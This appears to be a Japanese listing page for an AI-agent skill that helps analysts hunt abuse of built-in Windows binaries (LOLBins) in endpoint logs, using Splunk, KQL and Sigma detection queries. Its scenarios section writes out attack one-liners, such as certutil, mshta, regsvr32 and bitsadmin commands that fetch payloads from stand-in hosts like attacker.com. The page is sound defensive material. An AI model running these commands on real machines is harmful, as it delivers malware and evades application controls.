hunting-for-lolbins-execution-in-endpoint-logs について
Windows 標準バイナリの悪用をエンドポイントログから調査する、セキュリティ分析担当者向けのハンティングスキルです。異常な引数、プロセス関係、実行パス、関連するネットワーク活動を調べる手順を示します。
主な機能
- 01LOLBins リストと通常利用の基準作成
- 02不審なコマンドラインのハンティング
- 03親子プロセス関係の分析
- 04通常と異なる実行パスの確認
- 05ネットワーク活動との相関分析
- 06調査結果の優先順位付け
活用シーン
- 01certutil や mshta の不審なアラート調査
- 02LOLBins を使った攻撃活動のハンティング
- 03エンドポイント検知範囲の検証
インストール
コマンドをコピーしてターミナルで実行します。
$
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill hunting-for-lolbins-execution-in-endpoint-logsインストール後、Claude Code で/hunting-for-lolbins-execution-in-endpoint-logsを入力して読み込まれたか確認します。
同梱ファイル
SKILL.md と一緒にインストールされる参考資料やスクリプト。
LICENSEassets/template.mdreferences/api-reference.mdstandards.mdworkflows.mdscripts/agent.pyprocess.py詳細
エンドポイントログにおける LOLBins 実行のハンティング
使用するタイミング
- 組み込みの Windows バイナリを悪用するファイルレス攻撃の手法をハンティングするとき
- 脅威インテリジェンスにより、自社の業界を標的とした LOLBin ベースのキャンペーンが報告されたとき
- certutil、mshta、rundll32、regsvr32 の不審な使用に関するアラートを調査するとき
- 防御回避の手法に対する検知をテストするパープルチーム演習の期間中
- MITRE ATT&CK T1218 のサブテクニックに対するエンドポイント検知のカバレッジを評価するとき
前提条件
- コマンドライン全体をログに記録する Sysmon イベント ID 1(プロセス作成)
- コマンドラインの監査を有効にした Windows セキュリティイベント ID 4688
- 親子プロセスの関係を含む EDR テレメトリ
- クエリと相関分析のための SIEM プラットフォーム(Splunk、Elastic、Microsoft Sentinel)
- 既知の悪用パターンを確認するための LOLBAS プロジェクトのリファレンス(lolbas-project.github.io)
ワークフロー
- LOLBin ウォッチリストの作成: LOLBAS プロジェクトから高リスクの LOLBin を一覧にまとめます。優先度は certutil.exe、mshta.exe、rundll32.exe、regsvr32.exe、msbuild.exe、installutil.exe、cmstp.exe、wmic.exe、wscript.exe、cscript.exe、bitsadmin.exe、powershell.exe の順です。
- 通常の使用状況のベースライン化: 30 日間にわたり、各バイナリのコマンドライン引数、親プロセス、ユーザーコンテキストをプロファイリングし、自社環境における LOLBin の通常の使用状況を把握します。
- 異常な引数のハンティング: 悪用を示す不審なコマンドライン引数で実行された LOLBin を検索します。例として、
-urlcache -decode -encodeを伴う certutil、URL 引数を伴う mshta、一時ディレクトリやユーザーディレクトリから DLL を読み込む rundll32、/s /n /u /i:URLを伴う regsvr32 などがあります。 - 親子関係の分析: LOLBin を起動する想定外の親プロセスを特定します。たとえば、outlook.exe が mshta.exe を起動している場合や、winword.exe が certutil.exe を起動している場合は、武器化された文書による配布を示している可能性があります。
- 通常とは異なるパスからの実行の確認: 標準以外のパス(%TEMP% やユーザープロファイルディレクトリに置かれたコピー)から実行された LOLBin は、名前を変更したバイナリの悪用を示唆します。
- ネットワークアクティビティとの相関分析: LOLBin の実行を送信ネットワーク接続(Sysmon イベント ID 3)と対応付け、ダウンロードクラドルや C2 コールバックを特定します。
- スコアリングと優先順位付け: 不審な引数、想定外の親プロセス、標準以外のパス、ネットワークアクティビティの指標を組み合わせて、異常の深刻度により検出結果を順位付けします。
主要な概念
| 概念 | 説明 |
|---|---|
| T1218 | System Binary Proxy Execution |
| T1218.001 | Compiled HTML File (mshta.exe) |
| T1218.003 | CMSTP |
| T1218.005 | Mshta |
| T1218.010 | Regsvr32 (Squiblydoo) |
| T1218.011 | Rundll32 |
| T1127.001 | MSBuild |
| T1197 | BITS Jobs (bitsadmin.exe) |
| T1140 | Deobfuscate/Decode Files (certutil.exe) |
| T1059.001 | PowerShell |
| T1059.005 | Visual Basic (wscript/cscript) |
| LOLBAS | Living Off the Land Binaries, Scripts and Libraries project |
ツールとシステム
| ツール | 用途 |
|---|---|
| Sysmon | コマンドラインとハッシュのログを含むプロセス作成の記録 |
| CrowdStrike Falcon | LOLBin 検知分析機能を備えた EDR |
| Microsoft Defender for Endpoint | 組み込みの LOLBin 悪用検知 |
| Splunk | SPL によるプロセスのハンティングと異常検知 |
| Elastic Security | 事前構築済みの LOLBin 検知ルール |
| LOLBAS Project | LOLBin 悪用手法のリファレンスデータベース |
| Sigma Rules | LOLBin 悪用向けのコミュニティ検知ルール |
検知クエリ
Splunk -- 高リスクの LOLBin 実行
index=sysmon EventCode=1
| where match(Image, "(?i)(certutil|mshta|rundll32|regsvr32|msbuild|installutil|cmstp|bitsadmin)\.exe$")
| eval suspicious=case(
match(CommandLine, "(?i)certutil.*(-urlcache|-decode|-encode)"), "certutil_download_decode",
match(CommandLine, "(?i)mshta.*(http|https|javascript|vbscript)"), "mshta_remote_exec",
match(CommandLine, "(?i)rundll32.*\\\\(temp|appdata|users)"), "rundll32_unusual_dll",
match(CommandLine, "(?i)regsvr32.*/s.*/n.*/u.*/i:"), "regsvr32_squiblydoo",
match(CommandLine, "(?i)msbuild.*\\\\(temp|appdata|users)"), "msbuild_unusual_project",
match(CommandLine, "(?i)bitsadmin.*/transfer"), "bitsadmin_download",
match(CommandLine, "(?i)cmstp.*/s.*/ni"), "cmstp_uac_bypass",
1=1, "normal"
)
| where suspicious!="normal"
| table _time Computer User Image CommandLine ParentImage ParentCommandLine suspicious
KQL -- Microsoft Sentinel による LOLBin のハンティング
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("certutil.exe", "mshta.exe", "rundll32.exe", "regsvr32.exe",
"msbuild.exe", "installutil.exe", "cmstp.exe", "bitsadmin.exe")
| where ProcessCommandLine matches regex @"(?i)(urlcache|decode|encode|http://|https://|javascript:|vbscript:|/s\s+/n|/transfer)"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| sort by Timestamp desc
Sigma ルール -- 不審な LOLBin のコマンドライン
title: Suspicious LOLBin Execution with Malicious Arguments
status: experimental
logsource:
category: process_creation
product: windows
detection:
selection_certutil:
Image|endswith: '\certutil.exe'
CommandLine|contains:
- '-urlcache'
- '-decode'
- '-encode'
selection_mshta:
Image|endswith: '\mshta.exe'
CommandLine|contains:
- 'http://'
- 'https://'
- 'javascript:'
selection_regsvr32:
Image|endswith: '\regsvr32.exe'
CommandLine|contains|all:
- '/s'
- '/i:'
condition: 1 of selection_*
level: high
tags:
- attack.defense_evasion
- attack.t1218
一般的なシナリオ
- Certutil ダウンロードクラドル:
certutil.exe -urlcache -split -f http://malicious.com/payload.exe %TEMP%\payload.exeを使用して、プロキシフィルターを回避しながらマルウェアをダウンロードします。 - Mshta HTA 実行:
mshta.exe http://attacker.com/malicious.htaを使用して、VBScript または JScript のペイロードを含むリモート HTA ファイルを実行します。 - Regsvr32 Squiblydoo:
regsvr32 /s /n /u /i:http://attacker.com/file.sct scrobj.dllを使用して、アプリケーションのホワイトリストを回避するためにリモート SCT ファイルを実行します。 - Rundll32 DLL プロキシ:
rundll32.exe C:\Users\user\AppData\Local\Temp\malicious.dll,EntryPointを使用して、正規のバイナリを介して攻撃者の DLL を実行します。 - MSBuild インラインタスク:
msbuild.exe C:\Temp\malicious.csprojを使用して、アプリケーション制御を回避するためにプロジェクトファイルに埋め込まれた C# コードを実行します。 - BITS 転送:
bitsadmin /transfer job /download /priority high http://attacker.com/malware.exe C:\Temp\update.exeを使用して、BITS サービスによりファイルを目立たないようにダウンロードします。 - WMIC XSL 実行:
wmic process list /format:evil.xslを使用して、XSL スタイルシートから JScript/VBScript を実行します。
出力形式
Hunt ID: TH-LOLBIN-[DATE]-[SEQ]
Host: [Hostname]
User: [Account context]
LOLBin: [Binary name]
Full Path: [Execution path]
Command Line: [Full arguments]
Parent Process: [Parent image and command line]
Detection Category: [download_cradle/proxy_exec/uac_bypass/applocker_bypass]
Network Activity: [Yes/No -- destination if applicable]
Risk Level: [Critical/High/Medium/Low]
コメント
Markdown 対応